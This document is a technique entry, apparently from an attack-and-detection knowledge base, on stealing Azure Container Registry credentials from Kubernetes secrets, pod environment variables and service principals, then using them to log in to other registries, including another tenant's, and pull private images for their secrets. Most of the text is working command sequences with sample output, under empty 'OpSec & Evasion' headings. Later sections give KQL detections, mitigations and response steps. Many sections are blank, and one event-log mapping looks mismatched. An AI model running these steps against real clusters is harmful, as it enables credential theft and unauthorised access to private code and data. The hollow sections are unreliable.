MCADDF

[LM-AUTH-031]: Container Registry Cross-Registry Authentication

1. Metadata

Attribute Details
Technique ID LM-AUTH-031
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure Container Registry
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Azure Container Registry (ACR) all versions, Docker/Podman runtime
Patched In N/A (Requires credential management hardening)
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.1.4 Ensure Azure Container Registry uses image scanning
CIS Benchmark 2.1.12 Ensure ACR uses role-based access control
DISA STIG V-254383 Use managed identities instead of credentials
CISA SCuBA C.1.1 Implement credential management
NIST 800-53 AC-2 Account Management
NIST 800-53 SC-28 Protection of Information at Rest
GDPR Art. 32 Security of Processing
DORA Art. 9 Protection and Prevention
NIS2 Art. 21 Cyber Risk Management
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario Unauthorized Access to Container Registry

3. Detailed Execution Methods

METHOD 1: Extracting Registry Credentials from Kubernetes Secrets

Supported Versions: Kubernetes 1.16+, all ACR versions

Step 1: Discover Image Pull Secrets

Objective: Identify the names and locations of Kubernetes secrets containing registry credentials.

Command:

# From compromised pod or via kubectl with access
kubectl get secrets --all-namespaces | grep -i docker

# In the current namespace
kubectl get secrets -o jsonpath='{range .items[?(@.type=="kubernetes.io/dockercfg")]}{.metadata.name}{"\n"}{end}'

# Detailed view
kubectl describe secret <secret-name> -n <namespace>

Expected Output:

TYPE                                  DATA   AGE
kubernetes.io/dockercfg               1      30d
kubernetes.io/dockerconfigjson        2      45d

Name:         acr-pull-secret
Type:         kubernetes.io/dockerconfigjson
Data
====
.dockerconfigjson:  524 bytes

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Decode and Extract Registry Credentials

Objective: Extract plaintext registry credentials from Kubernetes secret data.

Command:

# Extract the secret data
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq .

# Alternative (legacy format)
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data.\.dockercfg}' | base64 -d | jq .

# Extract credentials for a specific registry
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq '.auths["myacr.azurecr.io"].auth' | base64 -d

Expected Output:

{
  "auths": {
    "myacr.azurecr.io": {
      "username": "myacr",
      "password": "1234567890abcdef1234567890abcdef==",
      "email": "user@example.com",
      "auth": "bXlhY3I6MTIzNDU2Nzg5MGFiY2RlZjEyMzQ1Njc4OTBhYmNkZWY=="
    },
    "otherapp-registry.azurecr.io": {
      "username": "otherapp-registry",
      "password": "abcdef1234567890abcdef1234567890==",
      "auth": "b3RoZXJhcHAtcmVnaXN0cnk6YWJjZGVmMTIzNDU2Nzg5MGFiY2RlZjEyMzQ1Njc4OTA="
    }
  }
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Use Extracted Credentials to Authenticate to Remote Registry

Objective: Authenticate to the remote container registry using the extracted credentials.

Command:

# Extract credentials
USERNAME=$(echo "myacr:password123" | cut -d: -f1)
PASSWORD=$(echo "myacr:password123" | cut -d: -f2)
REGISTRY="myacr.azurecr.io"

# Docker login (if docker CLI is available)
docker login -u $USERNAME -p $PASSWORD $REGISTRY

# Alternatively, using Azure CLI
az acr login --name myacr

# Or using curl with Basic Auth
curl -u $USERNAME:$PASSWORD https://$REGISTRY/v2/_catalog

# List available images in the registry
curl -u $USERNAME:$PASSWORD https://$REGISTRY/v2/_catalog | jq '.repositories'

Expected Output:

Login Succeeded

{
  "repositories": [
    "internal/billing-service",
    "internal/payment-processor",
    "internal/compliance-audit-tool"
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Pull Private Images from Remote Registry

Objective: Download container images from the remote registry for analysis.

Command:

# Pull a specific image
docker pull myacr.azurecr.io/internal/billing-service:latest

# Tag the image locally
docker tag myacr.azurecr.io/internal/billing-service:latest billing-service-local:latest

# Run the image to inspect its contents
docker run -it billing-service-local:latest /bin/bash

# Extract secrets from image layers
docker inspect billing-service-local:latest | jq '.[0].Config.Env'

# Save the image as tar for offline analysis
docker save billing-service-local:latest | gzip > billing-service-local.tar.gz

# Extract files from image using tools like Trivy or Dive
trivy image myacr.azurecr.io/internal/billing-service:latest
dive myacr.azurecr.io/internal/billing-service:latest

Expected Output:

latest: Pulling from internal/billing-service
a1a7cf92b2e5: Pull complete
c3b4b5d6e7f8: Pull complete

Digest: sha256:1234567890abcdef1234567890abcdef1234567890abcdef
Status: Downloaded newer image for myacr.azurecr.io/internal/billing-service:latest

Environment Variables:
[
  "DB_HOST=prod-db.azure.com",
  "DB_USER=billing_admin",
  "DB_PASSWORD=Sup3rS3cr3t!",
  "API_KEY=sk_live_1234567890abcdef"
]

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Cross-Tenant Registry Access via Service Principal

Supported Versions: Azure ACR all versions, Kubernetes 1.16+

Step 1: Extract Service Principal Credentials from Pod

Objective: If the pod is configured with a service principal for cross-tenant registry access, extract the credentials.

Command:

# Check environment variables for service principal credentials
env | grep -i azure
env | grep -i client
env | grep -i secret
env | grep -i key

# List all environment variables
printenv

# If credentials are in a mounted secret
cat /var/run/secrets/microsoft.com/secretref

# Check for credential files
find / -name "*credentials*" -o -name "*secrets*" -o -name "*.key" 2>/dev/null | head -20

Expected Output:

AZURE_CLIENT_ID=12345678-1234-1234-1234-123456789012
AZURE_CLIENT_SECRET=abc123!@#$%^&*()abcdefghijklmnop
AZURE_TENANT_ID=87654321-4321-4321-4321-210987654321
REGISTRY_USERNAME=12345678-1234-1234-1234-123456789012
REGISTRY_PASSWORD=abc123!@#$%^&*()abcdefghijklmnop

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Authenticate to Remote Registry with Service Principal

Objective: Use the service principal credentials to authenticate to a registry in a different tenant.

Command:

# Set variables
CLIENT_ID="12345678-1234-1234-1234-123456789012"
CLIENT_SECRET="abc123!@#$%^&*()abcdefghijklmnop"
TENANT_ID="87654321-4321-4321-4321-210987654321"
REMOTE_REGISTRY="another-org-acr.azurecr.io"

# Obtain a token for the remote registry
TOKEN=$(curl -s -X POST \
  -d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&resource=https://management.azure.com" \
  https://login.microsoftonline.com/$TENANT_ID/oauth2/token | jq -r '.access_token')

# Alternatively, obtain an ACR-specific token
ACR_TOKEN=$(curl -s -X POST \
  -d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&resource=https://$REMOTE_REGISTRY" \
  https://login.microsoftonline.com/$TENANT_ID/oauth2/token | jq -r '.access_token')

# List repositories using the token
curl -s -H "Authorization: Bearer $ACR_TOKEN" \
  https://$REMOTE_REGISTRY/v2/_catalog

# Alternatively, use Azure CLI
az login --service-principal -u $CLIENT_ID -p $CLIENT_SECRET --tenant $TENANT_ID
az acr login --name another-org-acr

Expected Output:

{
  "repositories": [
    "prod/web-api",
    "prod/database-service",
    "prod/admin-portal"
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 3: Environment Variable Extraction and Registry Access

Supported Versions: Kubernetes 1.16+, all container runtimes

Step 1: Extract ACR Credentials from Pod Environment

Objective: Some applications store registry credentials directly in environment variables for dynamic image pulls.

Command:

# From within a compromised pod
env | grep -E 'ACR|REGISTRY|DOCKER|REGISTRY_' | grep -v KUBE | head -20

# Example output parsing
REGISTRY_URL=$(env | grep REGISTRY_URL | cut -d= -f2)
REGISTRY_USERNAME=$(env | grep REGISTRY_USERNAME | cut -d= -f2)
REGISTRY_PASSWORD=$(env | grep REGISTRY_PASSWORD | cut -d= -f2)

echo "Registry: $REGISTRY_URL"
echo "Username: $REGISTRY_USERNAME"
echo "Password: $REGISTRY_PASSWORD"

Expected Output:

REGISTRY_URL=company-acr.azurecr.io
REGISTRY_USERNAME=company-acr
REGISTRY_PASSWORD=ACR_PASSWORD_STRING_HERE
ACR_LOGIN_SERVER=company-acr.azurecr.io

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Authenticate and Pull Images

Objective: Use the extracted credentials to authenticate to the registry and pull images.

Command:

# Login to the registry
docker login -u $REGISTRY_USERNAME -p "$REGISTRY_PASSWORD" $REGISTRY_URL

# Pull images
docker pull $REGISTRY_URL/myapp:latest
docker pull $REGISTRY_URL/myapp:production

# List available tags
curl -s -u $REGISTRY_USERNAME:$REGISTRY_PASSWORD https://$REGISTRY_URL/v2/myapp/tags/list

Expected Output:

Login Succeeded

myapp:latest: Pulling from myapp
a1a7cf92b2e5: Pull complete

{"name":"myapp","tags":["latest","v1.0.0","v1.0.1","v1.5.0","production"]}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


4. Microsoft Sentinel Detection

Query 1: Unauthorized ACR Image Pulls from External IPs

Rule Configuration:

KQL Query:

AzureDiagnostics
| where ResourceProvider == "MICROSOFT.CONTAINERREGISTRY" 
  and Category == "RepositoryEvent"
  and OperationName == "Pull"
| where CallerIpAddress !startswith "10." 
  and CallerIpAddress !startswith "172.16."
  and CallerIpAddress !startswith "192.168."
| summarize PullCount=count() by CallerIpAddress, properties.imageName, OperationName, TimeGenerated
| where PullCount > 3  // Threshold: more than 3 pulls from same external IP
| project TimeGenerated, CallerIpAddress, ImageName=properties.imageName, PullCount

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Unauthorized ACR Image Pulls from External IPs
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query
    • Run every: 15 minutes
    • Lookup data from last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

Source: Microsoft ACR Audit Logging


Query 2: Suspicious Credential Usage for Cross-Registry Authentication

Rule Configuration:

KQL Query:

AADServicePrincipalSignInLogs
| where ResourceDisplayName contains "Container Registry" 
  or ServicePrincipalName contains "acr"
| where RiskDetail != "none"
| where AppDisplayName !contains "Kubernetes" 
  and AppDisplayName !contains "deployment"
| project TimeGenerated, ServicePrincipalName, ResourceDisplayName, RiskDetail, OperationName

What This Detects:

Source: Azure AD Sign-In Logs


5. Windows Event Log & Audit Monitoring

Event ID: 4624 (Account Logon)

Manual Configuration Steps (Azure Portal):

  1. Go to Azure PortalAzure ADSign-in logs
  2. Filter by:
    • Application: Azure Container Registry
    • Status: Success or Failure (unusual patterns)
  3. Export and analyze for anomalies

6. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if managed identity is enabled
kubectl get serviceaccount -o jsonpath='{.items[*].metadata.annotations}' | jq '.["azure.workload.identity/client-id"]'

# Verify no image pull secrets are mounted
kubectl get pod <pod-name> -o jsonpath='{.spec.imagePullSecrets}'

# Check ACR audit logs for unauthorized pulls
az monitor log-analytics query -w <workspace-id> --analytics-query "AzureDiagnostics | where ResourceProvider == 'MICROSOFT.CONTAINERREGISTRY' and OperationName == 'Pull' | summarize count() by CallerIpAddress"

What to Look For:


7. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate): Command:
    # Delete the compromised pod
    kubectl delete pod <compromised-pod> --namespace <namespace> --grace-period=0 --force
       
    # Revoke the Kubernetes secret containing credentials
    kubectl delete secret <acr-secret-name> --namespace <namespace>
    

    Manual (Azure Portal):

    • Go to Container RegistryAccess keys
    • Click Regenerate for all passwords
    • Update all deployments to use new credentials
  2. Collect Evidence (First Hour): Command:
    # Export pod logs
    kubectl logs <compromised-pod> --namespace <namespace> > /evidence/pod-logs.txt
       
    # Export Azure activity logs
    az monitor activity-log list --resource-group <rg> --offset 24h --output table > /evidence/activity-logs.txt
       
    # Export ACR pull events
    az monitor log-analytics query -w <workspace-id> --analytics-query "AzureDiagnostics | where OperationName == 'Pull' and TimeGenerated > ago(24h)" > /evidence/acr-pulls.txt
    
  3. Remediate (Within 24 Hours): Command:
    # Rotate all registry credentials
    az acr credential-renew --name <acr-name> --password-name both
       
    # Update all pods to use new credentials or managed identities
    kubectl set env deployment/<deployment-name> REGISTRY_PASSWORD=<new-password>
       
    # Remove any exposed image pull secrets
    kubectl delete secret <exposed-secret> --all-namespaces
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-004] Kubelet API Unauthorized Access Attacker gains pod access
2 Credential Access [LM-AUTH-030] AKS Service Account Token Theft Service account token extracted
3 Lateral Movement [LM-AUTH-031] Container Registry Cross-Registry Current Step: Registry credentials used to access another registry
4 Discovery Image enumeration and pulling Private code and secrets discovered in images
5 Impact Code analysis and credential extraction Build secrets, API keys, database credentials exposed

9. Real-World Examples

Example 1: Tesla Kubernetes Cluster Exposure (2018)

Example 2: Docker Hub Credential Exposure (2024)

Example 3: Azure Container Registry Misconfiguration (Real-World Incident)


Metadata Notes